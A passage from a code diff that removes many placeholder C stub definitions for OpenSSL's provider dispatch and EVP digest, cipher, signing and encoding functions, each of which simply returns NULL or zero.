OSSL_FUNC_asym_cipher_encrypt(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_decrypt_init_fn * OSSL_FUNC_asym_cipher_decrypt_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_decrypt_fn * OSSL_FUNC_asym_cipher_decrypt(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_freectx_fn * OSSL_FUNC_asym_cipher_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_dupctx_fn * OSSL_FUNC_asym_cipher_dupctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_get_ctx_params_fn * OSSL_FUNC_asym_cipher_get_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_gettable_ctx_params_fn * OSSL_FUNC_asym_cipher_gettable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_set_ctx_params_fn * OSSL_FUNC_asym_cipher_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_asym_cipher_settable_ctx_params_fn * OSSL_FUNC_asym_cipher_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_newctx_fn * OSSL_FUNC_kem_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_encapsulate_init_fn * OSSL_FUNC_kem_encapsulate_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_auth_encapsulate_init_fn * OSSL_FUNC_kem_auth_encapsulate_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_encapsulate_fn * OSSL_FUNC_kem_encapsulate(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_decapsulate_init_fn * OSSL_FUNC_kem_decapsulate_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_auth_decapsulate_init_fn * OSSL_FUNC_kem_auth_decapsulate_init(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_decapsulate_fn * OSSL_FUNC_kem_decapsulate(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_freectx_fn * OSSL_FUNC_kem_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_dupctx_fn * OSSL_FUNC_kem_dupctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_get_ctx_params_fn * OSSL_FUNC_kem_get_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_gettable_ctx_params_fn * OSSL_FUNC_kem_gettable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_set_ctx_params_fn * OSSL_FUNC_kem_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_kem_settable_ctx_params_fn * OSSL_FUNC_kem_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_encoder_newctx_fn * OSSL_FUNC_encoder_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_encoder_freectx_fn * OSSL_FUNC_encoder_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_encoder_get_params_fn * OSSL_FUNC_encoder_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_encoder_gettable_params_fn * OSSL_FUNC_encoder_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_encoder_set_ctx_params_fn * OSSL_FUNC_encoder_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_encoder_settable_ctx_params_fn * OSSL_FUNC_encoder_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_encoder_does_selection_fn * OSSL_FUNC_encoder_does_selection(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_encoder_encode_fn * OSSL_FUNC_encoder_encode(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_encoder_import_object_fn * OSSL_FUNC_encoder_import_object(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_encoder_free_object_fn * OSSL_FUNC_encoder_free_object(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_decoder_newctx_fn * OSSL_FUNC_decoder_newctx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_decoder_freectx_fn * OSSL_FUNC_decoder_freectx(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_decoder_get_params_fn * OSSL_FUNC_decoder_get_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_decoder_gettable_params_fn * OSSL_FUNC_decoder_gettable_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_decoder_set_ctx_params_fn * OSSL_FUNC_decoder_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_decoder_settable_ctx_params_fn * OSSL_FUNC_decoder_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_decoder_does_selection_fn * OSSL_FUNC_decoder_does_selection(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_decoder_decode_fn * OSSL_FUNC_decoder_decode(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_decoder_export_object_fn * OSSL_FUNC_decoder_export_object(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_store_open_fn * OSSL_FUNC_store_open(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_store_attach_fn * OSSL_FUNC_store_attach(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_store_settable_ctx_params_fn * OSSL_FUNC_store_settable_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_store_set_ctx_params_fn * OSSL_FUNC_store_set_ctx_params(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_store_load_fn * OSSL_FUNC_store_load(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_store_eof_fn * OSSL_FUNC_store_eof(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_store_close_fn * OSSL_FUNC_store_close(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_store_export_object_fn * OSSL_FUNC_store_export_object(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_store_delete_fn * OSSL_FUNC_store_delete(const OSSL_DISPATCH * opf) { - return NULL; -} - -OSSL_FUNC_store_open_ex_fn * OSSL_FUNC_store_open_ex(const OSSL_DISPATCH * opf) { - return NULL; -} - -int EVP_set_default_properties(OSSL_LIB_CTX * libctx, const char * propq) { - return 0; -} - -char * EVP_get1_default_properties(OSSL_LIB_CTX * libctx) { - return NULL; -} - -int EVP_default_properties_is_fips_enabled(OSSL_LIB_CTX * libctx) { - return 0; -} - -int EVP_default_properties_enable_fips(OSSL_LIB_CTX * libctx, int enable) { - return 0; -} - -EVP_MD * EVP_MD_meth_new(int md_type, int pkey_type) { - return NULL; -} - -EVP_MD * EVP_MD_meth_dup(const EVP_MD * md) { - return NULL; -} - -void EVP_MD_meth_free(EVP_MD * md) ; - - -int EVP_MD_meth_set_input_blocksize(EVP_MD * md, int blocksize) { - return 0; -} - -int EVP_MD_meth_set_result_size(EVP_MD * md, int resultsize) { - return 0; -} - -int EVP_MD_meth_set_app_datasize(EVP_MD * md, int datasize) { - return 0; -} - -int EVP_MD_meth_set_flags(EVP_MD * md, unsigned long flags) { - return 0; -} - -int EVP_MD_meth_set_init(EVP_MD * md, int (*init)(EVP_MD_CTX *)) { - return 0; -} - -int EVP_MD_meth_set_update(EVP_MD * md, int (*update)(EVP_MD_CTX *, const void *, size_t)) { - return 0; -} - -int EVP_MD_meth_set_final(EVP_MD * md, int (*final)(EVP_MD_CTX *, unsigned char *)) { - return 0; -} - -int EVP_MD_meth_set_copy(EVP_MD * md, int (*copy)(EVP_MD_CTX *, const EVP_MD_CTX *)) { - return 0; -} - -int EVP_MD_meth_set_cleanup(EVP_MD * md, int (*cleanup)(EVP_MD_CTX *)) { - return 0; -} - -int EVP_MD_meth_set_ctrl(EVP_MD * md, int (*ctrl)(EVP_MD_CTX *, int, int, void *)) { - return 0; -} - -int EVP_MD_meth_get_input_blocksize(const EVP_MD * md) { - return 0; -} - -int EVP_MD_meth_get_result_size(const EVP_MD * md) { - return 0; -} - -int EVP_MD_meth_get_app_datasize(const EVP_MD * md) { - return 0; -} - -unsigned long EVP_MD_meth_get_flags(const EVP_MD * md) { - return 0; -} - -int EVP_MD_meth_get_init(const EVP_MD * md) { - return 0; -} - -int EVP_MD_meth_get_update(const EVP_MD * md) { - return 0; -} - -int EVP_MD_meth_get_final(const EVP_MD * md) { - return 0; -} - -int EVP_MD_meth_get_copy(const EVP_MD * md) { - return 0; -} - -int EVP_MD_meth_get_cleanup(const EVP_MD * md) { - return 0; -} - -int EVP_MD_meth_get_ctrl(const EVP_MD * md) { - return 0; -} - -EVP_CIPHER * EVP_CIPHER_meth_new(int cipher_type, int block_size, int key_len) { - return NULL; -} - -EVP_CIPHER * EVP_CIPHER_meth_dup(const EVP_CIPHER * cipher) { - return NULL; -} - -void EVP_CIPHER_meth_free(EVP_CIPHER * cipher) ; - - -int EVP_CIPHER_meth_set_iv_length(EVP_CIPHER * cipher, int iv_len) { - return 0; -} - -int EVP_CIPHER_meth_set_flags(EVP_CIPHER * cipher, unsigned long flags) { - return 0; -} - -int EVP_CIPHER_meth_set_impl_ctx_size(EVP_CIPHER * cipher, int ctx_size) { - return 0; -} - -int EVP_CIPHER_meth_set_init(EVP_CIPHER * cipher, int (*init)(EVP_CIPHER_CTX *, const unsigned char *, const unsigned char *, int)) { - return 0; -} - -int EVP_CIPHER_meth_set_do_cipher(EVP_CIPHER * cipher, int (*do_cipher)(EVP_CIPHER_CTX *, unsigned char *, const unsigned char *, size_t)) { - return 0; -} - -int EVP_CIPHER_meth_set_cleanup(EVP_CIPHER * cipher, int (*cleanup)(EVP_CIPHER_CTX *)) { - return 0; -} - -int EVP_CIPHER_meth_set_set_asn1_params(EVP_CIPHER * cipher, int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *)) { - return 0; -} - -int EVP_CIPHER_meth_set_get_asn1_params(EVP_CIPHER * cipher, int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *)) { - return 0; -} - -int EVP_CIPHER_meth_set_ctrl(EVP_CIPHER * cipher, int (*ctrl)(EVP_CIPHER_CTX *, int, int, void *)) { - return 0; -} - -int EVP_CIPHER_meth_get_init(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_CIPHER_meth_get_do_cipher(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_CIPHER_meth_get_cleanup(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_CIPHER_meth_get_set_asn1_params(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_CIPHER_meth_get_get_asn1_params(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_CIPHER_meth_get_ctrl(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_MD_get_type(const EVP_MD * md) { - return 0; -} - -const char * EVP_MD_get0_name(const EVP_MD * md) { - return NULL; -} - -const char * EVP_MD_get0_description(const EVP_MD * md) { - return NULL; -} - -int EVP_MD_is_a(const EVP_MD * md, const char * name) { - return 0; -} - -int EVP_MD_names_do_all(const EVP_MD * md, void (*fn)(const char *, void *), void * data) { - return 0; -} - -const OSSL_PROVIDER * EVP_MD_get0_provider(const EVP_MD * md) { - return NULL; -} - -int EVP_MD_get_pkey_type(const EVP_MD * md) { - return 0; -} - -int EVP_MD_get_size(const EVP_MD * md) { - return 0; -} - -int EVP_MD_get_block_size(const EVP_MD * md) { - return 0; -} - -unsigned long EVP_MD_get_flags(const EVP_MD * md) { - return 0; -} - -int EVP_MD_xof(const EVP_MD * md) { - return 0; -} - -const EVP_MD * EVP_MD_CTX_get0_md(const EVP_MD_CTX * ctx) { - return NULL; -} - -EVP_MD * EVP_MD_CTX_get1_md(EVP_MD_CTX * ctx) { - return NULL; -} - -const EVP_MD * EVP_MD_CTX_md(const EVP_MD_CTX * ctx) { - return NULL; -} - -int EVP_MD_CTX_update_fn(EVP_MD_CTX * ctx) { - return 0; -} - -void EVP_MD_CTX_set_update_fn(EVP_MD_CTX * ctx, int (*update)(EVP_MD_CTX *, const void *, size_t)) ; - - -int EVP_MD_CTX_get_size_ex(const EVP_MD_CTX * ctx) { - return 0; -} - -EVP_PKEY_CTX * EVP_MD_CTX_get_pkey_ctx(const EVP_MD_CTX * ctx) { - return NULL; -} - -void EVP_MD_CTX_set_pkey_ctx(EVP_MD_CTX * ctx, EVP_PKEY_CTX * pctx) ; - - -void * EVP_MD_CTX_get0_md_data(const EVP_MD_CTX * ctx) { - return NULL; -} - -int EVP_CIPHER_get_nid(const EVP_CIPHER * cipher) { - return 0; -} - -const char * EVP_CIPHER_get0_name(const EVP_CIPHER * cipher) { - return NULL; -} - -const char * EVP_CIPHER_get0_description(const EVP_CIPHER * cipher) { - return NULL; -} - -int EVP_CIPHER_is_a(const EVP_CIPHER * cipher, const char * name) { - return 0; -} - -int EVP_CIPHER_names_do_all(const EVP_CIPHER * cipher, void (*fn)(const char *, void *), void * data) { - return 0; -} - -const OSSL_PROVIDER * EVP_CIPHER_get0_provider(const EVP_CIPHER * cipher) { - return NULL; -} - -int EVP_CIPHER_get_block_size(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_CIPHER_impl_ctx_size(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_CIPHER_get_key_length(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_CIPHER_get_iv_length(const EVP_CIPHER * cipher) { - return 0; -} - -unsigned long EVP_CIPHER_get_flags(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_CIPHER_get_mode(const EVP_CIPHER * cipher) { - return 0; -} - -int EVP_CIPHER_get_type(const EVP_CIPHER * cipher) { - return 0; -} - -EVP_CIPHER * EVP_CIPHER_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { - return NULL; -} - -int EVP_CIPHER_can_pipeline(const EVP_CIPHER * cipher, int enc) { - return 0; -} - -int EVP_CIPHER_up_ref(EVP_CIPHER * cipher) { - return 0; -} - -void EVP_CIPHER_free(EVP_CIPHER * cipher) ; - - -const EVP_CIPHER * EVP_CIPHER_CTX_get0_cipher(const EVP_CIPHER_CTX * ctx) { - return NULL; -} - -EVP_CIPHER * EVP_CIPHER_CTX_get1_cipher(EVP_CIPHER_CTX * ctx) { - return NULL; -} - -int EVP_CIPHER_CTX_is_encrypting(const EVP_CIPHER_CTX * ctx) { - return 0; -} - -int EVP_CIPHER_CTX_get_nid(const EVP_CIPHER_CTX * ctx) { - return 0; -} - -int EVP_CIPHER_CTX_get_block_size(const EVP_CIPHER_CTX * ctx) { - return 0; -} - -int EVP_CIPHER_CTX_get_key_length(const EVP_CIPHER_CTX * ctx) { - return 0; -} - -int EVP_CIPHER_CTX_get_iv_length(const EVP_CIPHER_CTX * ctx) { - return 0; -} - -int EVP_CIPHER_CTX_get_tag_length(const EVP_CIPHER_CTX * ctx) { - return 0; -} - -const EVP_CIPHER * EVP_CIPHER_CTX_cipher(const EVP_CIPHER_CTX * ctx) { - return NULL; -} - -const unsigned char * EVP_CIPHER_CTX_iv(const EVP_CIPHER_CTX * ctx) { - return NULL; -} - -const unsigned char * EVP_CIPHER_CTX_original_iv(const EVP_CIPHER_CTX * ctx) { - return NULL; -} - -unsigned char * EVP_CIPHER_CTX_iv_noconst(EVP_CIPHER_CTX * ctx) { - return NULL; -} - -int EVP_CIPHER_CTX_get_updated_iv(EVP_CIPHER_CTX * ctx, void * buf, size_t len) { - return 0; -} - -int EVP_CIPHER_CTX_get_original_iv(EVP_CIPHER_CTX * ctx, void * buf, size_t len) { - return 0; -} - -unsigned char * EVP_CIPHER_CTX_buf_noconst(EVP_CIPHER_CTX * ctx) { - return NULL; -} - -int EVP_CIPHER_CTX_get_num(const EVP_CIPHER_CTX * ctx) { - return 0; -} - -int EVP_CIPHER_CTX_set_num(EVP_CIPHER_CTX * ctx, int num) { - return 0; -} - -EVP_CIPHER_CTX * EVP_CIPHER_CTX_dup(const EVP_CIPHER_CTX * in) { - return NULL; -} - -int EVP_CIPHER_CTX_copy(EVP_CIPHER_CTX * out, const EVP_CIPHER_CTX * in) { - return 0; -} - -void * EVP_CIPHER_CTX_get_app_data(const EVP_CIPHER_CTX * ctx) { - return NULL; -} - -void EVP_CIPHER_CTX_set_app_data(EVP_CIPHER_CTX * ctx, void * data) ; - - -void * EVP_CIPHER_CTX_get_cipher_data(const EVP_CIPHER_CTX * ctx) { - return NULL; -} - -void * EVP_CIPHER_CTX_set_cipher_data(EVP_CIPHER_CTX * ctx, void * cipher_data) { - return NULL; -} - -int EVP_Cipher(EVP_CIPHER_CTX * c, unsigned char * out, const unsigned char * in, unsigned int inl) { - return 0; -} - -int EVP_MD_get_params(const EVP_MD * digest, OSSL_PARAM * params) { - return 0; -} - -int EVP_MD_CTX_set_params(EVP_MD_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -int EVP_MD_CTX_get_params(EVP_MD_CTX * ctx, OSSL_PARAM * params) { - return 0; -} - -const OSSL_PARAM * EVP_MD_gettable_params(const EVP_MD * digest) { - return NULL; -} - -const OSSL_PARAM * EVP_MD_settable_ctx_params(const EVP_MD * md) { - return NULL; -} - -const OSSL_PARAM * EVP_MD_gettable_ctx_params(const EVP_MD * md) { - return NULL; -} - -const OSSL_PARAM * EVP_MD_CTX_settable_params(EVP_MD_CTX * ctx) { - return NULL; -} - -const OSSL_PARAM * EVP_MD_CTX_gettable_params(EVP_MD_CTX * ctx) { - return NULL; -} - -int EVP_MD_CTX_ctrl(EVP_MD_CTX * ctx, int cmd, int p1, void * p2) { - return 0; -} - -EVP_MD_CTX * EVP_MD_CTX_new(void) { - return NULL; -} - -int EVP_MD_CTX_reset(EVP_MD_CTX * ctx) { - return 0; -} - -void EVP_MD_CTX_free(EVP_MD_CTX * ctx) ; - - -EVP_MD_CTX * EVP_MD_CTX_dup(const EVP_MD_CTX * in) { - return NULL; -} - -int EVP_MD_CTX_copy_ex(EVP_MD_CTX * out, const EVP_MD_CTX * in) { - return 0; -} - -void EVP_MD_CTX_set_flags(EVP_MD_CTX * ctx, int flags) ; - - -void EVP_MD_CTX_clear_flags(EVP_MD_CTX * ctx, int flags) ; - - -int EVP_MD_CTX_test_flags(const EVP_MD_CTX * ctx, int flags) { - return 0; -} - -int EVP_DigestInit_ex2(EVP_MD_CTX * ctx, const EVP_MD * type, const OSSL_PARAM * params) { - return 0; -} - -int EVP_DigestInit_ex(EVP_MD_CTX * ctx, const EVP_MD * type, ENGINE * impl) { - return 0; -} - -int EVP_DigestUpdate(EVP_MD_CTX * ctx, const void * d, size_t cnt) { - return 0; -} - -int EVP_DigestFinal_ex(EVP_MD_CTX * ctx, unsigned char * md, unsigned int * s) { - return 0; -} - -int EVP_Digest(const void * data, size_t count, unsigned char * md, unsigned int * size, const EVP_MD * type, ENGINE * impl) { - return 0; -} - -int EVP_Q_digest(OSSL_LIB_CTX * libctx, const char * name, const char * propq, const void * data, size_t datalen, unsigned char * md, size_t * mdlen) { - return 0; -} - -int EVP_MD_CTX_copy(EVP_MD_CTX * out, const EVP_MD_CTX * in) { - return 0; -} - -int EVP_DigestInit(EVP_MD_CTX * ctx, const EVP_MD * type) { - return 0; -} - -int EVP_DigestFinal(EVP_MD_CTX * ctx, unsigned char * md, unsigned int * s) { - return 0; -} - -int EVP_DigestFinalXOF(EVP_MD_CTX * ctx, unsigned char * out, size_t outlen) { - return 0; -} - -int EVP_DigestSqueeze(EVP_MD_CTX * ctx, unsigned char * out, size_t outlen) { - return 0; -} - -EVP_MD * EVP_MD_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { - return NULL; -} - -int EVP_MD_up_ref(EVP_MD * md) { - return 0; -} - -void EVP_MD_free(EVP_MD * md) ; - - -int EVP_read_pw_string(char * buf, int length, const char * prompt, int verify) { - return 0; -} - -int EVP_read_pw_string_min(char * buf, int minlen, int maxlen, const char * prompt, int verify) { - return 0; -} - -void EVP_set_pw_prompt(const char * prompt) ; - - -char * EVP_get_pw_prompt(void) { - return NULL; -} - -int EVP_BytesToKey(const EVP_CIPHER * type, const EVP_MD * md, const unsigned char * salt, const unsigned char * data, int datal, int count, unsigned char * key, unsigned char * iv) { - return 0; -} - -void EVP_CIPHER_CTX_set_flags(EVP_CIPHER_CTX * ctx, int flags) ; - - -void EVP_CIPHER_CTX_clear_flags(EVP_CIPHER_CTX * ctx, int flags) ; - - -int EVP_CIPHER_CTX_test_flags(const EVP_CIPHER_CTX * ctx, int flags) { - return 0; -} - -int EVP_EncryptInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv) { - return 0; -} - -int EVP_EncryptInit_ex(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, ENGINE * impl, const unsigned char * key, const unsigned char * iv) { - return 0; -} - -int EVP_EncryptInit_ex2(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv, const OSSL_PARAM * params) { - return 0; -} - -int EVP_EncryptUpdate(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl, const unsigned char * in, int inl) { - return 0; -} - -int EVP_EncryptFinal_ex(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl) { - return 0; -} - -int EVP_EncryptFinal(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl) { - return 0; -} - -int EVP_DecryptInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv) { - return 0; -} - -int EVP_DecryptInit_ex(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, ENGINE * impl, const unsigned char * key, const unsigned char * iv) { - return 0; -} - -int EVP_DecryptInit_ex2(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv, const OSSL_PARAM * params) { - return 0; -} - -int EVP_DecryptUpdate(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl, const unsigned char * in, int inl) { - return 0; -} - -int EVP_DecryptFinal(EVP_CIPHER_CTX * ctx, unsigned char * outm, int * outl) { - return 0; -} - -int EVP_DecryptFinal_ex(EVP_CIPHER_CTX * ctx, unsigned char * outm, int * outl) { - return 0; -} - -int EVP_CipherInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv, int enc) { - return 0; -} - -int EVP_CipherInit_ex(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, ENGINE * impl, const unsigned char * key, const unsigned char * iv, int enc) { - return 0; -} - -int EVP_CipherInit_SKEY(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, EVP_SKEY * skey, const unsigned char * iv, size_t iv_len, int enc, const OSSL_PARAM * params) { - return 0; -} - -int EVP_CipherInit_ex2(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, const unsigned char * iv, int enc, const OSSL_PARAM * params) { - return 0; -} - -int EVP_CipherUpdate(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl, const unsigned char * in, int inl) { - return 0; -} - -int EVP_CipherFinal(EVP_CIPHER_CTX * ctx, unsigned char * outm, int * outl) { - return 0; -} - -int EVP_CipherPipelineEncryptInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, size_t keylen, size_t numpipes, const unsigned char ** iv, size_t ivlen) { - return 0; -} - -int EVP_CipherPipelineDecryptInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * cipher, const unsigned char * key, size_t keylen, size_t numpipes, const unsigned char ** iv, size_t ivlen) { - return 0; -} - -int EVP_CipherPipelineUpdate(EVP_CIPHER_CTX * ctx, unsigned char ** out, size_t * outl, const size_t * outsize, const unsigned char ** in, const size_t * inl) { - return 0; -} - -int EVP_CipherPipelineFinal(EVP_CIPHER_CTX * ctx, unsigned char ** outm, size_t * outl, const size_t * outsize) { - return 0; -} - -int EVP_CipherFinal_ex(EVP_CIPHER_CTX * ctx, unsigned char * outm, int * outl) { - return 0; -} - -int EVP_SignFinal(EVP_MD_CTX * ctx, unsigned char * md, unsigned int * s, EVP_PKEY * pkey) { - return 0; -} - -int EVP_SignFinal_ex(EVP_MD_CTX * ctx, unsigned char * md, unsigned int * s, EVP_PKEY * pkey, OSSL_LIB_CTX * libctx, const char * propq) { - return 0; -} - -int EVP_DigestSign(EVP_MD_CTX * ctx, unsigned char * sigret, size_t * siglen, const unsigned char * tbs, size_t tbslen) { - return 0; -} - -int EVP_VerifyFinal(EVP_MD_CTX * ctx, const unsigned char * sigbuf, unsigned int siglen, EVP_PKEY * pkey) { - return 0; -} - -int EVP_VerifyFinal_ex(EVP_MD_CTX * ctx, const unsigned char * sigbuf, unsigned int siglen, EVP_PKEY * pkey, OSSL_LIB_CTX * libctx, const char * propq) { - return 0; -} - -int EVP_DigestVerify(EVP_MD_CTX * ctx, const unsigned char * sigret, size_t siglen, const unsigned char * tbs, size_t tbslen) { - return 0; -} - -int EVP_DigestSignInit_ex(EVP_MD_CTX * ctx, EVP_PKEY_CTX ** pctx, const char * mdname, OSSL_LIB_CTX * libctx, const char * props, EVP_PKEY * pkey, const OSSL_PARAM * params) { - return 0; -} - -int EVP_DigestSignInit(EVP_MD_CTX * ctx, EVP_PKEY_CTX ** pctx, const EVP_MD * type, ENGINE * e, EVP_PKEY * pkey) { - return 0; -} - -int EVP_DigestSignUpdate(EVP_MD_CTX * ctx, const void * data, size_t dsize) { - return 0; -} - -int EVP_DigestSignFinal(EVP_MD_CTX * ctx, unsigned char * sigret, size_t * siglen) { - return 0; -} - -int EVP_DigestVerifyInit_ex(EVP_MD_CTX * ctx, EVP_PKEY_CTX ** pctx, const char * mdname, OSSL_LIB_CTX * libctx, const char * props, EVP_PKEY * pkey, const OSSL_PARAM * params) { - return 0; -} - -int EVP_DigestVerifyInit(EVP_MD_CTX * ctx, EVP_PKEY_CTX ** pctx, const EVP_MD * type, ENGINE * e, EVP_PKEY * pkey) { - return 0; -} - -int EVP_DigestVerifyUpdate(EVP_MD_CTX * ctx, const void * data, size_t dsize) { - return 0; -} - -int EVP_DigestVerifyFinal(EVP_MD_CTX * ctx, const unsigned char * sig, size_t siglen) { - return 0; -} - -int EVP_OpenInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * type, const unsigned char * ek, int ekl, const unsigned char * iv, EVP_PKEY * priv) { - return 0; -} - -int EVP_OpenFinal(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl) { - return 0; -} - -int EVP_SealInit(EVP_CIPHER_CTX * ctx, const EVP_CIPHER * type, unsigned char ** ek, int * ekl, unsigned char * iv, EVP_PKEY ** pubk, int npubk) { - return 0; -} - -int EVP_SealFinal(EVP_CIPHER_CTX * ctx, unsigned char * out, int * outl) { - return 0; -} - -EVP_ENCODE_CTX * EVP_ENCODE_CTX_new(void) { - return NULL; -} - -void EVP_ENCODE_CTX_free(EVP_ENCODE_CTX * ctx) ; - - -int EVP_ENCODE_CTX_copy(EVP_ENCODE_CTX * dctx, const EVP_ENCODE_CTX * sctx) { - return 0; -} - -int EVP_ENCODE_CTX_num(EVP_ENCODE_CTX * ctx) { - return 0; -} - -void EVP_EncodeInit(EVP_ENCODE_CTX * ctx) ; - - -int EVP_EncodeUpdate(EVP_ENCODE_CTX * ctx, unsigned char * out, int * outl, const unsigned char * in, int inl) { - return 0; -} - -void EVP_EncodeFinal(EVP_ENCODE_CTX * ctx, unsigned char * out, int * outl) ; - - -int EVP_EncodeBlock(unsigned char * t, const unsigned char * f, int n) { - return 0; -} - -void EVP_DecodeInit(EVP_ENCODE_CTX * ctx) ; - - -int EVP_DecodeUpdate(EVP_ENCODE_CTX * ctx, unsigned char * out, int * outl, const unsigned char * in, int inl) { - return 0; -} - -int EVP_DecodeFinal(EVP_ENCODE_CTX * ctx, unsigned char * out, int * outl) { - return 0; -} - -int EVP_DecodeBlock(unsigned char * t, const unsigned char * f, int n) { - return 0; -} - -EVP_CIPHER_CTX * EVP_CIPHER_CTX_new(void) { - return NULL; -} - -int EVP_CIPHER_CTX_reset(EVP_CIPHER_CTX * c) { - return 0; -} - -void EVP_CIPHER_CTX_free(EVP_CIPHER_CTX * c) ; - - -int EVP_CIPHER_CTX_set_key_length(EVP_CIPHER_CTX * x, int keylen) { - return 0; -} - -int EVP_CIPHER_CTX_set_padding(EVP_CIPHER_CTX * c, int pad) { - return 0; -} - -int EVP_CIPHER_CTX_ctrl(EVP_CIPHER_CTX * ctx, int type, int arg, void * ptr) { - return 0; -} - -int EVP_CIPHER_CTX_rand_key(EVP_CIPHER_CTX * ctx, unsigned char * key) { - return 0; -} - -int EVP_CIPHER_get_params(EVP_CIPHER * cipher, OSSL_PARAM * params) { - return 0; -} - -int EVP_CIPHER_CTX_set_params(EVP_CIPHER_CTX * ctx, const OSSL_PARAM * params) { - return 0; -} - -int EVP_CIPHER_CTX_get_params(EVP_CIPHER_CTX * ctx, OSSL_PARAM * params) { - return 0; -} - -const OSSL_PARAM * EVP_CIPHER_gettable_params(const 